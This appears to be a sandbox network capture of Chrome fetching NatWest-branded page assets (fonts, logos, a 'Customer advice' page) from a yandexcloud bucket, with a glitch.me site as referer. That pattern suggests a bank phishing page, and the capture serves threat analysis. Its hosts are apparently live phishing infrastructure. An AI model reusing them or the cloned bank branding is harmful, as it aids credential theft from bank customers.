2024-05-27 22:44:25 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=149121 Date: Mon, 27 May 2024 22:44:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-27 22:44:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49727	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	645	OUT	GET /li5_outer_frame_top_curve.gif HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	284	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: image/gif Content-Length: 17540 Connection: close Accept-Ranges: bytes Etag: "b5f90335c1b50c6e46292060d68662bc" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 973d52a49b743a32
2024-05-27 22:44:25 UTC	16100	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 0d 0a 09 43 75 73 74 6f 6d 65 72 20 61 64 76 69 63 65 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 69 64 3d 22 63 74 6c 30 30 5f 76 70 54 61 67 22 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head><title>Customer advice</title><meta id="ctl00_vpTag" name=
2024-05-27 22:44:25 UTC	1440	IN	Data Raw: 33 39 3b 68 65 61 64 65 72 57 69 6e 64 6f 77 26 23 33 39 3b 2c 26 23 33 39 3b 74 6f 70 3d 37 30 2c 6c 65 66 74 3d 36 30 2c 77 69 64 74 68 3d 38 30 30 2c 68 65 69 67 68 74 3d 36 30 30 2c 72 65 73 69 7a 61 62 6c 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 2c 6c 6f 63 61 74 69 6f 6e 3d 79 65 73 26 23 33 39 3b 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 74 77 65 73 74 2e 63 6f 6d 2f 74 6f 6f 6c 73 2f 67 65 6e 65 72 61 6c 2f 6e 77 6f 6c 62 5f 6c 65 67 61 6c 73 2f 61 63 63 65 73 73 69 62 69 6c 69 74 79 2e 68 74 6d 22 20 74 61 72 67 65 74 3d 22 68 65 61 64 65 72 57 69 6e 64 6f 77 22 3e 41 63 63 65 73 73 69 62 69 6c 69 74 79 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: 39;headerWindow','top=70,left=60,width=800,height=600,resizable=yes,scrollbars=yes,location=yes');return false;" href="https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm" target="headerWindow">Accessibility</a></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	631	OUT	GET /radio-selected.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/npc.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: image/png Content-Length: 1633 Connection: close Accept-Ranges: bytes Etag: "2ac5b52fbdb0be1bbc9506a24f78afe9" Last-Modified: Mon, 04 Sep 2023 09:44:20 GMT X-Amz-Request-Id: e972d68d50ca0731
2024-05-27 22:44:25 UTC	1633	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 01 04 7d 4a 62 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 06 1b 49 44 41 54 58 09 a5 57 0d 4c d5 55 14 3f f7 8f f1 1e 20 a2 28 e1 23 4a be 65 5a a4 0b a7 29 9a 6c a6 64 cd 29 a6 95 d8 d7 e6 da ca ad ad d6 aa 8d 41 ee 21 ae 5a ab ad 4d 69 a6 b3 0f b5 a6 22 e4 b2 40 59 3a 45 d3 b4 30 48 c7 97 88 85 e0 57 22 10 c2 23 79 ff ee ef 3e ee 7d f7 fd df 7b 84 75 b7 f7 ee b9 e7 fb 7f fe e7 9c 7b fe 44 43 ab d4 e1 ec 01 68 e0 cf e4 6b 54 44 e8 68 ec 06 28 fb 52 df a3 db bd 03 a0 11 c3 1f 28 d8 d5 2a 8b 73 6e 2c 77 14 2f 12 08 2e 62 76 37 5c 05 93 09 98 01 d8 1b 57 24 88 4b 9a de 22 02 56 2e c0 82 f2 4d 7c 71 86 4e 00 83 22 c2 00 10 d0 0b a4 fc 01 57 b7 be ca 34 98 19 b2 0f 6a 22 d3 Data Ascii: PNGIHDR }JbsRGBIDATXWLU? (#JeZ)ld)A!ZMi"@Y:E0HW"#y>}{u{DChkTDh(R(*sn,w/.bv7\W$K"V.M\|qN"W4j"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49728	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	617	OUT	GET /plogo.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: image/png Content-Length: 5679 Connection: close Accept-Ranges: bytes Etag: "cce808c0c23f731523eb4b7298ad18d8" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 6a4d4a8dfb5ac726
2024-05-27 22:44:25 UTC	5679	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 6a 08 06 00 00 00 2b f0 d6 66 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 15 e6 49 44 41 54 78 01 ed 5d 09 58 55 d5 16 fe b9 cc f3 ac 22 a8 08 ce e2 98 22 14 4f 9c 2d 9b 4c cd 29 cd 7a e6 2b 9b 07 eb f5 9a cb 06 cb ca 26 5f 96 af 67 a5 a5 a6 a6 39 e0 2c a2 a8 38 2b 28 0e 20 02 0a a2 cc f3 0c 6f ad 8d e7 70 ee e5 5e b8 03 16 fa ee f2 bb 9e 7d f6 d9 e3 7f f6 d9 7b ad b5 f7 5a 58 d4 d6 d6 96 01 b0 a5 9f 99 0c 47 20 42 65 78 1e 73 0e 25 02 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 b6 32 22 cf 0d c9 52 5a 56 89 94 cb 59 b8 9a 53 88 ec 82 12 e4 17 15 a3 Data Ascii: PNGIHDRPj+fgAMAaIDATx]XU""O-L)z+&_g9,8+( op^}{ZXG Bexs%fh6hh,fh6hh,fh6hh,fh6hh,fh2"RZVYS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49730	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	624	OUT	GET /error-marker.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: image/png Content-Length: 1090 Connection: close Accept-Ranges: bytes Etag: "50f1540b40bf348f927c3ed21aba72b3" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 8054f2d08e313265
2024-05-27 22:44:25 UTC	1090	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1d 08 06 00 00 00 56 93 67 0f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 03 d7 49 44 41 54 48 4b bd 97 cb 6b 54 57 1c c7 bf 73 66 c6 cc e4 41 34 49 33 01 23 56 2b 16 34 a6 90 b6 c6 82 ba 53 bb 2a a2 dd 09 b5 4b 35 ed a2 6e 45 17 8a 7f 42 6c 37 0a 82 85 2c 1a 17 ae 7c ac 44 29 8d 85 80 9a 20 48 3b 41 ac 90 29 d5 18 e6 75 67 e6 3e fa fb 9e 73 a3 b9 93 b9 73 6f 36 7e e0 cc dc f3 fa 7d 7f bf f3 ba e7 26 3c 01 11 d8 85 d7 b0 fe 78 8c e2 cd bb b0 1e 3d 45 e3 d5 bf 70 4b 65 a8 ee 2e a4 37 0f 22 b3 77 0f 7a 8e 1d 46 66 df 67 48 e5 fa fd 5e e1 b4 15 b5 5f 2e 62 71 e2 22 4a b7 1f c2 69 Data Ascii: PNGIHDRVgsRGBgAMAapHYs+IDATHKkTWsfA4I3#V+4S*K5nEBl7,\|D) H;A)ug>sso6~}&<x=EpKe.7"wzFfgH^_.bq"Ji

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49731	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	627	OUT	GET /white-lock.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/npc.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: image/png Content-Length: 285 Connection: close Accept-Ranges: bytes Etag: "4a3360fb538fcc33db66e22afbd18715" Last-Modified: Mon, 04 Sep 2023 09:44:20 GMT X-Amz-Request-Id: 2596e7cc34994742
2024-05-27 22:44:25 UTC	285	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 16 08 06 00 00 00 cd 5f cc 41 00 00 00 e4 49 44 41 54 78 da 63 60 c0 02 fe ff ff cf 06 c4 46 40 5c f6 f7 ef df 5e 20 dd fe e7 cf 9f 48 20 2d ce 40 0a 00 6a 50 03 1a 70 f4 3f 26 38 f2 e3 c7 0f 35 a2 0c 79 f5 ea 15 cf bf 7f ff 9e 80 30 d0 b0 39 bf 7f ff f6 06 62 5f 20 7b 1e 48 0c 68 d8 93 17 2f 5e 70 13 34 08 a8 61 0a c8 6a 90 57 d0 e5 80 62 d1 20 39 a0 9a a9 c4 18 f4 00 88 cf e3 92 07 ba ea 1c d0 ac 07 c4 84 cf 0b a0 e2 ed 78 2c da 0e 54 f3 92 18 83 5e 02 f1 36 3c 06 6d 03 5a f4 8a 28 83 40 b6 e2 91 c7 6e 10 50 f0 38 50 e3 5e 18 06 2a fc 00 14 bb 83 2c 86 86 ef 80 d4 a0 89 35 82 6c f8 f7 9f 0a 80 7a 06 01 bd 71 9f 5a 2e 62 65 a0 06 18 7c 61 44 cd c0 be 44 2d 17 09 0d df c0 be 4d 15 83 80 Data Ascii: PNGIHDR_AIDATxc`F@\^ H -@jPp?&85y09b_ {Hh/^p4ajWb 9x,T^6<mZ(@nP8P^*,5lzqZ.be\|aDD-M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49732	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	630	OUT	GET /RNHouseSansW05-Regular.woff2 HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:26 UTC	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 21572 Connection: close Accept-Ranges: bytes Etag: "4b04fa8e8cb9b74a12575a0fd3e8f1ac" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 19e52cc8cd1d0d12
2024-05-27 22:44:26 UTC	16076	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 54 44 00 0f 00 00 00 00 d2 f8 00 00 53 e4 00 01 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b a9 02 06 60 16 8b 60 00 86 5e 08 83 64 09 92 50 0a 82 9c 60 81 ec 3e 01 36 02 24 03 89 68 0b 89 6c 00 04 20 05 9b 21 07 20 0c 84 2f 1b e3 b4 17 98 9b ba 46 8f eb cd aa b0 80 9a eb 14 57 b0 5b b0 f5 66 69 31 50 fc 3f a9 e8 08 0c ba 03 01 5f bc b5 33 fb ff ff 84 02 35 64 0c e0 1e 26 ba 5c 15 83 03 53 75 d9 6a 59 39 5c 2d 59 5d 72 ab 04 6d 54 c9 31 55 a5 26 9a dc ed 1f 35 11 a3 68 9b b4 b0 bd 27 51 9e c4 88 d4 46 52 f8 21 14 d9 d7 08 da 7f f4 84 9c 9d f7 df f8 1b 13 de b9 39 fe b5 9d 05 b0 9f e3 4b 39 72 95 54 a2 fa 3d c1 69 20 c0 eb b5 5a 6d cd 98 7c 1f eb 18 c3 e4 25 bf e3 1d 2f 3f f2 13 90 27 1f de 05 d9 1b df Data Ascii: wOF2TDSA``^dP`>6$hl ! /FW[fi1P?_35d&\SujY9\-Y]rmT1U&5h'QFR!9K9rT=i Zm\|%/?'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49733	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:25 UTC	627	OUT	GET /RNHouseSansW05-Bold.woff2 HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:26 UTC	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:25 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 22184 Connection: close Accept-Ranges: bytes Etag: "d81e0cfa15c3c638984cc484bf9a23fd" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 1e8a69afbe0fe222
2024-05-27 22:44:26 UTC	16076	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 56 a8 00 0f 00 00 00 00 d3 30 00 00 56 48 00 01 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b aa 74 06 60 16 8b 60 00 86 5e 08 83 64 09 92 50 0a 82 9b 44 81 ea 4b 01 36 02 24 03 89 68 0b 89 6c 00 04 20 05 9b 06 07 20 0c 84 2f 1b c7 b4 17 68 97 7d c2 ce dc 36 62 62 6b f1 e9 e6 13 16 8c 5d 0f e0 3c 40 4b 3f 17 ce 94 c8 dc dc 23 d5 9b 25 21 a6 e1 07 ce fe ff ff 5a dc 18 22 20 68 d5 b6 bf 66 53 a8 8d c1 0a 06 d9 70 e3 5c 8e 32 4c 8b 8d 47 fa 62 55 6d 1b 97 4c 0f b9 96 62 17 b6 68 b2 d8 98 14 3b 70 f8 c5 87 a8 c0 68 4e 78 f1 7d a8 5d 3e 97 06 5d bf 74 e1 da 51 8e 1a d7 36 bb 0e d7 e5 73 61 6e 8b 18 b6 b4 e5 67 39 16 bd 10 11 de 99 23 67 d7 f9 ab eb 53 3b 6a e0 0c b9 eb 96 23 6d 69 d7 46 5d 97 36 ac 02 ab c0 Data Ascii: wOF2V0VHAt``^dPDK6$hl /h}6bbk]<@K?#%!Z" hfSp\2LGbUmLbh;phNx}]>]tQ6sang9#gS;j#miF]6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49735	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:26 UTC	367	OUT	GET /n-w-logo.svg HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:26 UTC	287	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:26 GMT Content-Type: image/svg+xml Content-Length: 4872 Connection: close Accept-Ranges: bytes Etag: "987cc7771f2fe14e61de62bd92e2411e" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: 86e67e0bcf4ac968
2024-05-27 22:44:26 UTC	4872	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 35 38 22 20 68 65 69 67 68 74 3d 22 33 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 35 38 20 33 36 22 3e 0d 0a 20 20 20 20 3c 64 65 66 73 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 61 22 20 78 31 3d 22 32 34 2e 39 36 25 22 20 78 32 3d 22 37 35 25 22 20 79 31 3d 22 32 34 2e 39 38 33 25 22 20 79 32 3d 22 37 35 2e 30 31 37 25 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 25 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 44 43 31 34 30 35 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 31 22 2f 3e 0d 0a 20 20 20 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="158" height="36" viewBox="0 0 158 36"> <defs> <linearGradient id="a" x1="24.96%" x2="75%" y1="24.983%" y2="75.017%"> <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49738	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:26 UTC	629	OUT	GET /down-chevron.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/npc.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 295 Connection: close Accept-Ranges: bytes Etag: "5d1201e574de6bb2d10db83ade0d098d" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 839e780d2ec7544d
2024-05-27 22:44:27 UTC	295	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 08 08 06 00 00 00 22 26 75 cf 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 e1 49 44 41 54 18 19 63 5c 2b df 2a c9 f8 fb df 36 06 86 ff af ff b3 32 c7 07 3f ac 7e ce 80 06 d6 cb 34 3b fc ff cb 30 8d 81 91 e1 62 d0 b3 da 48 c6 75 d2 2d a1 ff ff fd 5b 05 52 c7 c8 c8 78 f3 3f 2b 93 23 b2 c6 8d d2 ad 8e 7f ff ff dd f2 ff 3f 03 17 50 c9 3f 76 56 56 11 26 09 46 ae 2d 8c 0c 0c 67 41 9a fe ff ff af 0e b4 75 3f c8 76 10 1f 4d 03 03 13 13 c3 24 9f 47 95 ef 81 ea 19 18 d6 2b f4 0b fc ff f9 79 cf 7f 06 06 63 10 1f 64 23 23 03 63 e3 7f 86 7f 73 a0 36 80 04 a7 07 3d ad c9 06 ca fd 07 6b c2 a6 11 24 06 07 48 1a 40 62 70 4d 20 0e ba 8d 20 31 64 1b c0 7c 90 10 8c 01 a3 c1 1a 7f 7d de c4 f0 9f c1 12 28 Data Ascii: PNGIHDR"&usRGBIDATc\+*62?~4;0bHu-[Rx?+#?P?vVV&F-gAu?vM$G+ycd##cs6=k$H@bpM 1d\|}(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49737	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:26 UTC	626	OUT	GET /check-box.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/npc.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 157 Connection: close Accept-Ranges: bytes Etag: "b23db76451b3df600c7dbda6c93a2e2e" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: a53501f9e7cf6903
2024-05-27 22:44:27 UTC	157	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 57 49 44 41 54 58 09 63 5c 2b d9 f4 9f 61 00 01 d3 00 da 0d b6 7a c0 1d c0 82 1c 02 41 cf 6a 91 b9 34 63 af 93 6a 86 9b 3d e0 21 30 ea 80 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 40 e9 19 21 f7 58 e0 5d 17 1a 33 46 a3 00 00 f4 b6 06 d6 26 1b 78 1b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR szzsRGBWIDATXc\+azAj4cj=!0@!X]3F&xIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49736	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
